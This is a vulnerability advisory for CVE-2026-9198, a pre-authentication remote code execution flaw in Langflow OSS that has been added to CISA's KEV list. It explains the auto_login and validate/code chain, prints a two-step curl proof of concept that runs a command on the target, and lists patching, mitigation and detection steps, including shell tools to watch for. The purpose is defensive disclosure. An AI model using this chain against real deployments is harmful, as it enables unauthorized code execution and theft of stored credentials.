CVE-2026-9198: IBM Langflow OSS Pre-Auth RCE, CVSS 9.8 Added to CISA KEV

IBM Langflow OSS 1.0.0 through 1.10.0 exposes pre-auth RCE CVE-2026-9198 (CVSSv3.1 9.8). Attackers chain /api/v1/auto_login (default SUPERUSER token) with /api/v1/validate/code (unsandboxed Python exec) for host-level command execution; CISA KEV deadline is 2026-08-07.

Incident overview

On 2026-08-04, CISA added CVE-2026-9198 affecting open-source LLM workflow framework IBM Langflow OSS 1.0.0 through 1.10.0 to the Known Exploited Vulnerabilities (KEV) catalog. Federal agencies must remediate by 2026-08-07. IBM scores it CVSSv3.1 9.8 (Critical), vector `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`, CWE-94 (Code Injection). First disclosed 2026-07-17; Langflow OSS 1.10.1 patches it.

Langflow is an open-source framework for LLM agent workflows—internal AI agents, RAG pipelines, tool calling. Many default deployments expose the HTTP API to the internet or intranet with no reverse-proxy auth, so this pre-auth RCE has a large blast radius. IONIX and SentinelOne both report ongoing in-the-wild exploit attempts.

Technical details

The vuln is a two-endpoint chain:

• /api/v1/auto_login auth bypass: local-dev convenience login. With `AUTO_LOGIN=true` (default), it issues a long-lived SUPERUSER JWT to any HTTP caller—no source-IP check, no loopback bind, no caller identity check.
• /api/v1/validate/code unsandboxed code execution: accepts user Python source and runs it via `exec()`, including decorators and default-arg expressions. Any network attacker with a SUPERUSER token can submit malicious Python.

Exploit path is two steps:

`# Step 1: Call auto_login directly to obtain a SUPERUSER token
curl http://target:7860/api/v1/auto_login
# Returns {"access_token":"eyJ...","token_type":"bearer","superuser":true}

# Step 2: Call validate/code with the token to trigger arbitrary Python execution
curl -X POST http://target:7860/api/v1/validate/code \
  -H "Authorization: Bearer eyJ..." \
  -H "Content-Type: application/json" \
  -d '{"code":"import os; os.system(\"id > /tmp/pwned\")"}'
`

Key attack traits

• Zero auth: no account, password, or client config;
• Zero interaction: HTTP only;
• Default-config vuln: AUTO_LOGIN is on by default in `langflow>=1.0.0`; validate/code does not require admin.

Impact

CVSS 9.8 means:

• Confidentiality (C:H): read any file, API key, or model credential reachable by the Langflow process;
• Integrity (I:H): arbitrary Flow, Prompt, and dataset modification—supply-chain poison path into downstream LLM apps;
• Availability (A:H): wipe or reset Langflow persistence; halt enterprise AI;
• Lateral movement: if Langflow shares network and credentials with databases, object storage, or vector stores, it is an AI-infra pivot.

EPSS currently 0.35-1.89%, but IONIX reports active scanning and exploit attempts; KEV classifies it as known exploited.

Remediation

1. Upgrade immediately

`# Upgrade to 1.10.1 or later
pip install --upgrade langflow==1.10.1
# Rebuild and replace all running containers`

2. Temporary mitigations (if you cannot upgrade now)

• Reverse proxy (NGINX / Traefik / Cloudflare Access): restrict `/api/v1/auto_login` and `/api/v1/validate/code` to trusted internal nets;
• Set `LANGFLOW_AUTO_LOGIN=false` and explicitly configure a `LANGFLOW_SUPERUSER` account;
• Bind Langflow to `127.0.0.1`; force VPN or auth-gateway access from outside;
• Close public 7860; enable WAF detection of anomalous `auto_login` calls.

3. Detect and respond

• FastAPI access logs: hunt high-frequency `/api/v1/auto_login`; identify source IPs;
• Monitor the Langflow process for anomalous children (`sh`, `bash`, `curl`, `wget`, `python -c`) and outbound connections;
• Rotate all model provider keys, database passwords, and object-storage credentials stored in Langflow;
• Retro-check `/tmp/`, `crontab`, `~/.ssh/authorized_keys` for unexpected writes.

Sources

• NVD CVE-2026-9198 details
• IBM official security bulletin (Support Node 7278927)
• CISA KEV catalog (added 2026-08-04)
• IONIX Threat Research technical analysis
• SentinelOne vulnerability database write-up
• ENISA EUVD assessment